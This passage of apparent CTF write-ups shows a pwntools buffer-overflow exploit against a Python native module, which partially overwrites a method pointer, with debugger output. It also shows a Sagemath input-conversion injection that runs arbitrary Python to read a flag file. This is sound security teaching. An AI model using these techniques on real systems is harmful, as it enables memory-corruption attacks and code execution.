    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\n'
[DEBUG] Received 0x1e2 bytes:
    b"Encrypted: b'IRS{secrets_are_revealed!!}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\xd0U\\xad\\x91\\x7f\\x00\\x00\\x81\\x80\\x14\\xec\\xd0>AA@AAAAAAAU\\x91\\x14\\xec\\xd0>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAA\\xe1\\xbe\\xd1AAAAA\\xd1\\x83\\x14\\xec\\xd0>AANAAAAAAA\\xc1\\xb5\\x0f\\xed\\xd0>AAd\\x91\\x14\\xec\\xd0>AAAAAAAAAA\\xbe\\xbe\\xbe\\xbe\\xbe\\xbe\\xbe\\xbe\\xe1\\xb1\\x14\\xec\\xd0>AAAAAAAAAABBBBBBBB'\n"
    b'> '
[DEBUG] Sent 0xd1 bytes:
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[*] Switching to interactive mode
AA@AAAAAAAU\x91\x14\xec\xd0>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAA\xe1\xbe\xd1AAAAA\xd1\x83\x14\xec\xd0>AANAAAAAAA\xc1\xb5\x0f\xed\xd0>AAd\x91\x14\xec\xd0>AAAAAAAAAA\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xe1\xb1\x14\xec\xd0>AAAAAAAAAABBBBBBBB'
> [DEBUG] Received 0xc7 bytes:
    b'Traceback (most recent call last):\n'
    b'  File "tfc.py", line 4, in <module>\n'
    b'    ciphertext = turbofastcrypto.encrypt(plaintext)\n'
    b"TypeError: 'builtin_function_or_method' object does not support vectorcall\n"
Traceback (most recent call last):
  File "tfc.py", line 4, in <module>
    ciphertext = turbofastcrypto.encrypt(plaintext)
TypeError: 'builtin_function_or_method' object does not support vectorcall
$

And checking the crash in a debugger shows that the RIP control works.

gef➤  c
Continuing.

Thread 1 "python" received signal SIGSEGV, Segmentation fault.
module_traverse (m=0x7f91ac4eec20, visit=0x54f930 <visit_decref>, arg=0x7f91ac4eec20) at Objects/moduleobject.c:775
775	Objects/moduleobject.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x4242424242424242 ("BBBBBBBB"?)
$rbx   : 0x00007f91ac4eec20  →  0x0000000000000004
$rcx   : 0x00007f91ac61d058  →  0xffffffff05ff0302
...
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x474286 <module_traverse+22> mov    rax, QWORD PTR [rax+0x50]
     0x47428a <module_traverse+26> test   rax, rax
     0x47428d <module_traverse+29> je     0x474295 <module_traverse+37>
 →   0x47428f <module_traverse+31> call   rax
     0x474291 <module_traverse+33> test   eax, eax
     0x474293 <module_traverse+35> jne    0x4742b0 <module_traverse+64>
     0x474295 <module_traverse+37> mov    rdi, QWORD PTR [rbx+0x10]
     0x474299 <module_traverse+41> xor    eax, eax
     0x47429b <module_traverse+43> test   rdi, rdi
───────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x4242424242424242 (
)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "python", stopped 0x47428f in module_traverse (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x47428f → module_traverse(m=0x7f91ac4eec20, visit=0x54f930 <visit_decref>, arg=0x7f91ac4eec20)
[#1] 0x550256 → subtract_refs(containers=<optimized out>)
[#2] 0x550256 → collect(generation=0x2, n_collected=0x7ffc1694cda8, n_uncollectable=0x7ffc1694cdb0, nofail=0x0, state=<optimized out>)
[#3] 0x551673 → collect_with_callback(state=<optimized out>, generation=0x2)
[#4] 0x551673 → PyGC_Collect()
[#5] 0x551673 → _PyGC_CollectIfEnabled()
[#6] 0x524937 → Py_FinalizeEx()
[#7] 0x5262c5 → Py_FinalizeEx()
[#8] 0x42cb9b → Py_RunMain()
[#9] 0x42d574 → pymain_main(args=0x7ffc1694cf00)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

However, when fixing up the print_flag address to use the actual leaked one, we encounter UTF-8 decoding issues. Unfortunately, we cannot encode 6 bytes of arbitrary code points in UTF-8. Only a maximum of 4 bytes is possible. Hence, we cannot properly encode the 6 contiguous bytes required to specify the address.

$ python exploit.py
[+] Starting local process '/home/vagrant/.pyenv/versions/3.8.9/bin/python' argv=[b'python', b'tfc.py'] : pid 15198
[DEBUG] Received 0x2 bytes:
    b'> '
[DEBUG] Sent 0x49 bytes:
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x71 bytes:
    b'Encrypted: b\'\\x08\\x13\\x12:2$"3$52\\x1e 3$\\x1e3$7$ -$%``<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM!\\x9c\\xf6\\xff>AA\'\n'
    b'> '
[*] mtds leak: 0x7fbeb7dd600c
[*] shared object base: 0x7fbeb7dd4000
[*] print_flag: 0x7fbeb7dd51a0
[DEBUG] Sent 0xd9 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    000000d0  a0 51 dd b7  be 7f 00 00  0a                        │·Q··│····│·│
    000000d9
[DEBUG] Received 0x48 bytes:
    b'Traceback (most recent call last):\n'
    b'  File "tfc.py", line 3, in <module>\n'
[DEBUG] Sent 0xd1 bytes:
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[*] Switching to interactive mode

[*] Process '/home/vagrant/.pyenv/versions/3.8.9/bin/python' stopped with exit code 1 (pid 15198)
[DEBUG] Received 0x11a bytes:
    b"    plaintext = input('> ')\n"
    b'  File "/home/vagrant/.pyenv/versions/3.8.9/lib/python3.8/codecs.py", line 322, in decode\n'
    b'    (result, consumed) = self._buffer_decode(data, self.errors, final)\n'
    b"UnicodeDecodeError: 'utf-8' codec can't decode byte 0xa0 in position 208: invalid start byte\n"
    plaintext = input('> ')
  File "/home/vagrant/.pyenv/versions/3.8.9/lib/python3.8/codecs.py", line 322, in decode
    (result, consumed) = self._buffer_decode(data, self.errors, final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xa0 in position 208: invalid start byte
[*] Got EOF while reading in interactive
$

Coming back to the analysis of the memory layout, we can inspect the pointers we leaked earlier. The first pointer in the mtds struct points to the name of the function encrypt.

gef➤  x/32xg IV
0x7fdc26804060 <IV>:	0x726365737b535249	0x5f6572615f737465
0x7fdc26804070 <IV+16>:	0x64656c6165766572	0x00000000007d2121
0x7fdc26804080 <IV+32>:	0x0000000000000000	0x0000000000000000
0x7fdc26804090 <IV+48>:	0x0000000000000000	0x0000000000000000
0x7fdc268040a0 <mtds>:	0x00007fdc2680200c	0x00007fdc268011c0
0x7fdc268040b0 <mtds+16>:	0x0000000000000001	0x00007fdc26802014
0x7fdc268040c0 <mtds+32>:	0x0000000000000000	0x0000000000000000
0x7fdc268040d0 <mtds+48>:	0x0000000000000000	0x0000000000000000
0x7fdc268040e0 <moddef>:	0x0000000000000002	0x000000000090ffa0
0x7fdc268040f0 <moddef+16>:	0x00007fdc26801290	0x000000000000000f
0x7fdc26804100 <moddef+32>:	0x00007fdc25794480	0x00007fdc26802025
0x7fdc26804110 <moddef+48>:	0x0000000000000000	0xffffffffffffffff
0x7fdc26804120 <moddef+64>:	0x00007fdc268040a0	0x0000000000000000
0x7fdc26804130 <moddef+80>:	0x0000000000000000	0x0000000000000000
0x7fdc26804140 <moddef+96>:	0x0000000000000000	0x0000000000000000
0x7fdc26804150:	0x332e392075746e75	0x75627537312d302e
gef➤  x/s 0x00007fdc268011c0
0x7fdc268011c0 <encrypt>:	"\363\017\036\372UH\211\345H\203\354\060H\211}\330H\211u\320dH\213\004%("
gef➤

The second pointer points to the code segment, namely, the body of the encrypt function. This object is the PyMethodDef structure used in exposing native modules to Python scripts.

gef➤  disas 0x00007fdc268011c0
Dump of assembler code for function encrypt:
=> 0x00007fdc268011c0 <+0>:	repz nop edx
   0x00007fdc268011c4 <+4>:	push   rbp
   0x00007fdc268011c5 <+5>:	mov    rbp,rsp
   0x00007fdc268011c8 <+8>:	sub    rsp,0x30
   0x00007fdc268011cc <+12>:	mov    QWORD PTR [rbp-0x28],rdi
   0x00007fdc268011d0 <+16>:	mov    QWORD PTR [rbp-0x30],rsi
   0x00007fdc268011d4 <+20>:	mov    rax,QWORD PTR fs:0x28
   0x00007fdc268011dd <+29>:	mov    QWORD PTR [rbp-0x8],rax
   0x00007fdc268011e1 <+33>:	xor    eax,eax
   0x00007fdc268011e3 <+35>:	lea    rcx,[rbp-0x10]
   0x00007fdc268011e7 <+39>:	lea    rdx,[rbp-0x18]
   0x00007fdc268011eb <+43>:	mov    rax,QWORD PTR [rbp-0x30]
   0x00007fdc268011ef <+47>:	lea    rsi,[rip+0xe13]        # 0x7fdc26802009
   0x00007fdc268011f6 <+54>:	mov    rdi,rax
   0x00007fdc268011f9 <+57>:	mov    eax,0x0
   0x00007fdc268011fe <+62>:	call   0x7fdc268010d0
   0x00007fdc26801203 <+67>:	test   eax,eax
   0x00007fdc26801205 <+69>:	jne    0x7fdc2680120e <encrypt+78>
   0x00007fdc26801207 <+71>:	mov    eax,0x0
   0x00007fdc2680120c <+76>:	jmp    0x7fdc26801270 <encrypt+176>
   0x00007fdc2680120e <+78>:	mov    DWORD PTR [rbp-0x1c],0x0
   0x00007fdc26801215 <+85>:	jmp    0x7fdc2680124b <encrypt+139>
   0x00007fdc26801217 <+87>:	mov    rdx,QWORD PTR [rip+0x2dd2]        # 0x7fdc26803ff0
   0x00007fdc2680121e <+94>:	mov    eax,DWORD PTR [rbp-0x1c]
   0x00007fdc26801221 <+97>:	cdqe
   0x00007fdc26801223 <+99>:	movzx  ecx,BYTE PTR [rdx+rax*1]
   0x00007fdc26801227 <+103>:	mov    rdx,QWORD PTR [rbp-0x18]
   0x00007fdc2680122b <+107>:	mov    eax,DWORD PTR [rbp-0x1c]
   0x00007fdc2680122e <+110>:	cdqe
   0x00007fdc26801230 <+112>:	add    rax,rdx
   0x00007fdc26801233 <+115>:	movzx  eax,BYTE PTR [rax]
   0x00007fdc26801236 <+118>:	xor    ecx,eax
   0x00007fdc26801238 <+120>:	mov    rdx,QWORD PTR [rip+0x2db1]        # 0x7fdc26803ff0
   0x00007fdc2680123f <+127>:	mov    eax,DWORD PTR [rbp-0x1c]
   0x00007fdc26801242 <+130>:	cdqe
   0x00007fdc26801244 <+132>:	mov    BYTE PTR [rdx+rax*1],cl
   0x00007fdc26801247 <+135>:	add    DWORD PTR [rbp-0x1c],0x1
   0x00007fdc2680124b <+139>:	mov    eax,DWORD PTR [rbp-0x1c]
   0x00007fdc2680124e <+142>:	movsxd rdx,eax
   0x00007fdc26801251 <+145>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00007fdc26801255 <+149>:	cmp    rdx,rax
   0x00007fdc26801258 <+152>:	jl     0x7fdc26801217 <encrypt+87>
   0x00007fdc2680125a <+154>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00007fdc2680125e <+158>:	mov    rsi,rax
   0x00007fdc26801261 <+161>:	mov    rax,QWORD PTR [rip+0x2d88]        # 0x7fdc26803ff0
   0x00007fdc26801268 <+168>:	mov    rdi,rax
   0x00007fdc2680126b <+171>:	call   0x7fdc26801090
   0x00007fdc26801270 <+176>:	mov    rsi,QWORD PTR [rbp-0x8]
   0x00007fdc26801274 <+180>:	xor    rsi,QWORD PTR fs:0x28
   0x00007fdc2680127d <+189>:	je     0x7fdc26801284 <encrypt+196>
   0x00007fdc2680127f <+191>:	call   0x7fdc268010a0
   0x00007fdc26801284 <+196>:	leave
   0x00007fdc26801285 <+197>:	ret
End of assembler dump.
gef➤

Additionally, the print_flag function is only a few bytes away from the encrypt function. Hence, we can perform a partial one-byte overwrite to coerce calls to the encrypt function to run the print_flag function instead. Since it only requires one byte, we can either encode the input properly as UTF-8 or hope that the single byte we need to write is valid UTF-8 itself.

gef➤  p print_flag
$4 = {void ()} 0x7fdc268011a0 <print_flag>
gef➤  p encrypt - print_flag
$5 = 0x20
gef➤

It turns out that it is valid without requiring further encoding. The script to perform this one-byte overwrite is as follows:

#!/usr/bin/env python

from pwn import *


def main():
    p = remote("challs.sieberrsec.tech", 3477)
    # p = process(["python", "tfc.py"])

    # Calculate the partial byte to overwrite.
    elf = ELF("turbofastcrypto.cpython-38-x86_64-linux-gnu.so")
    to_overwrite = xor(p64(elf.symbols["print_flag"])[0], p64(elf.symbols["encrypt"])[0])
    log.info('Overwriting with byte {}.'.format(hex(ord(to_overwrite))))
    assert to_overwrite.decode('utf-8')
    log.info('Confirmed that the byte is valid UTF-8.')

    # Overwrite a single byte of the `ml_meth` pointer of a `PyMethodDef` structure in `mtds`.
    p.recvuntil(b'>')
    p.sendline(b'A'* (64 + 8) + to_overwrite)

    # Trigger the overwritten encrypt call to get the flag.
    p.recvline()
    p.sendline()
    p.recvuntil(b'> ')
    flag = p.recvline().decode()
    log.success('Flag: {}'.format(flag))


if __name__ == '__main__':
    main()

Running the script finally gives us the flag:

$ python exploit_partial.py
[+] Opening connection to challs.sieberrsec.tech on port 3477: Done
[*] '/vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Overwriting with byte 0x60.
[*] Confirmed that the byte is valid UTF-8.
[+] Flag: IRS{w@s_th@t_fun?}
[*] Closed connection to challs.sieberrsec.tech port 3477

Flag: IRS{w@s_th@t_fun?}

HXP 2021 - brie man (Misc)

2021-12-20T00:00:00+08:00

Summary: Sagemath contains sinks that allow for the arbitrary execution of Python code when converting from user input to math objects.

Challenge Prompt

brie man
by yyyyyyy
misc
Difficulty estimate: easy - easy

Points: round(1000 · min(1, 10 / (9 + [39 solves]))) = 208 points

Description:
Do you ever dream of solving a famous open question?

(Now that we have your attention: Sorry, this challenge has nothing to do with Brie. 🧀)

Download:
brie man-b6db7372d539e8b7.tar.xz (13.5 KiB)

Connection (mirrors):
nc 65.108.178.230 7904

Attachment: challenge file

Solution

The following sage file is given. It appears to want us to find a counterexample to the Riemann Hypothesis, one of the math problems included in the Millenium Prizes. It can surmised we’re not supposed to actually find a counterexample.

#!/usr/bin/env sage
import re

if sys.version_info.major < 3:
    print('nope nope nope nope | https://hxp.io/blog/72')
    exit(-2)

rx = re.compile(r'Dear Bernhard: Your conjecture is false, for ([^ ]{,40}) is a counterexample\.')

s = CC.to_prec(160)(rx.match(input()).groups()[0])

r = round(s.real())
assert not all((s==r, r<0, r%2==0))     # boring

assert not s.real() == 1/2              # boring

assert zeta(s) == 0                     # uhm ok
print(open('flag.txt').read().strip())

Furthermore, the link printed when Python 2 is detected also gives us a clue that we may need to look for an arbitrary Python code evaluation sink.

Experimenting with CC.to_prec(160) shows that it converts strings to complex fields.

sage: CC.to_prec(160)("1.0")
1.0000000000000000000000000000000000000000000000

It appears to perform arithmetic and attempt to resolve Python symbols.

sage: CC.to_prec(160)("1 + 1")
2.0000000000000000000000000000000000000000000000
sage: CC.to_prec(160)("A")
...
/var/tmp/sage-9.4-current/local/lib/python3.9/site-packages/sage/all.py in <module>

NameError: name 'A' is not defined

Attempting some Python code results in it actually executing.

sage: CC.to_prec(160)("print('hello world')")
helloworld
NaN + NaN*I
sage:

Thus, the flag read code can be simply provided to obtain the flag:

$ nc 65.108.178.230 7904
Dear Bernhard: Your conjecture is false, for print(open('flag.txt').read().strip()) is a counterexample.
hxp{0NE_M1LL10N_D0LLAR5}

Flag: hxp{0NE_M1LL10N_D0LLAR5}